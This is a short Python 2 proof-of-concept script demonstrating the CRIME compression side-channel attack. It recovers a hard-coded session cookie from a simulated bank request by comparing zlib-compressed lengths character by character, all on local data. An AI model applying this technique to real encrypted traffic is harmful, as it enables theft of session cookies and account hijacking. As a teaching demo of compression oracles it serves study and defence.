crime

import string
import zlib

HEADERS = ("POST / HTTP/1.1\r\n"
       "Host: thebankserver.com\r\n"
           "Connection: keep-alive\r\n"
           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
       "Accept: */*\r\n"
           "Referer: https://thebankserver.com/\r\n"
           "Accept-Encoding: gzip,deflate,sdch\r\n"
           "Accept-Language: en-US,en;q=0.8\r\n"
           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
       "Cookie: secret=7xc89f+94/wa\r\n\r\n")

BODY = "Cookie: secret="

def compress(data):
    c = zlib.compressobj()
    return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)

cookie = ""
while len(cookie) < 12:
    smallest_char = ""
    smallest_length = 0
    for c in string.printable:
        length = len(compress(HEADERS +
                      BODY +
                      cookie +
                      c))
        print repr(c), length
        if not smallest_length or length < smallest_length:
            smallest_length = length
            smallest_char = c
    cookie += smallest_char

print "final result: %s" % cookie